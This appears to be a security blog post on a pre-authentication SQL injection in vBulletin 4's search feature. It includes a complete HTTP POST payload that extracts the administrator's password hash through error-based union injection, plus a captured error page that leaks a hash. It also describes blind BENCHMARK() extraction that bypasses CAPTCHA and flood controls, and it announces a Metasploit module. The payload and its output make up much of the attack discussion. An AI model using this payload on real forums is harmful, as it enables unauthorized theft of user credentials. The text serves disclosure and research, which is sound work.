vBulletin "Search UI" SQL Injection: Take Two

It looks like someone has found another SQL Injection bug in the vBulletin "Search UI". After taking a quick look @ the bug, I have determined it to be exploitable, pre auth.

The actual SQL Injection lies within the add_advanced_search_filters() function. This is due to vBulletin not sanitizing the "messagegroupid" and "categoryid" arrays before implode()'ing them directly into a SQL query.

Exploiting this issue is fairly straight forward, but is pretty much a blind SQL Injection as far as I can tell in the small amount of time I have looked at it. However, using the methods outlined here, one can easily extract data at the expense of possibly tipping off the database admin. This is because vBulletin displays the verbose SQL query within HTML comments whenever displaying an SQL error screen. (Even for non authenticated users)

1:  POST /search.php?do=process HTTP/1.1  
2:  Host: 127.0.0.1  
3:  Content-Type: application/x-www-form-urlencoded  
4:  humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*  

The above post query will successfully display the passsword hash for the userid=1 within the comments of the SQL error page used by vBulletin, as seen in the example below.

1:  <!--  
2:  Database error in vBulletin 4.1.4:  
3:  Invalid SQL:  
4:                           SELECT socialgroupcategory.title  
5:                           FROM socialgroupcategory AS socialgroupcategory  
6:                           WHERE socialgroupcategory.socialgroupcategoryid IN (-99) union select password from user where userid=1 and row(1,1)&gt;(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*);  
7:  MySQL Error  : Duplicate entry '4c62730e24e31ab9a0b8229a7ff72836:1' for key 'group_key'  
8:  Error Number : 1062  
9:  Request Date : Wednesday, July 20th 2011 @ 10:24:59 PM  
10:  Error Date  : Wednesday, July 20th 2011 @ 10:24:59 PM  
11:  Script    : http://127.0.0.1/search.php?do=process  
12:  Referrer   :   
13:  IP Address  : 127.0.0.1  
14:  Username   : Unregistered  
15:  Classname   : vB_Database  
16:  MySQL Version :   
17:  -->  

And of course if you prefer to exploit this in a more stealthy manner, there is always a blind SQL Injection approach using timed BENCHMARK() queries, etc. that will likely work for you.

Reliably exploiting vBulletin 4

Last month an SQL Injection vulnerability in the vBulletin search feature was patched. The issue was researched fairly well by j0hnx3r, and his research was made public here.

After reading about this issue, I set out to write a Metasploit module for it, and soon realized that the way of exploiting the issue outlined in j0hnx3r's research could be unreliable under certain circumstances such as:

•  No groups exist, and the attacker can not access user groups
• The attacker is unable to get a valid forum account

There are probably other scenarios that make exploiting this in a straight forward manner a bit unreliable, but I decided to focus my attention on creating something more reliable, versus exploring the limitations of a more straight forward approach.

During my research in to this issue, I found a couple of interesting things to help aid an attacker in mounting a successful SQL Injection attack against a vulnerable vBulletin installation.

• This issue can be exploited pre auth
• The SQL Injection takes place before the CAPTCHA is handled
• The SQL Injection takes place before flood controls

As a result this issue can be exploited pre auth by an anonymous user regardless of CAPCTHA or flood settings, making it a pretty darn scary bug if you ask me. In order to exploit this issue I ended up using a blind BENCHMARK() enumeration approach since there are a myriad of issues relating to outputting retrieved data that I did my best to avoid altogether.

vBulletin 4 <= 4.1.2 SQL Injection Exploit (Metasploit)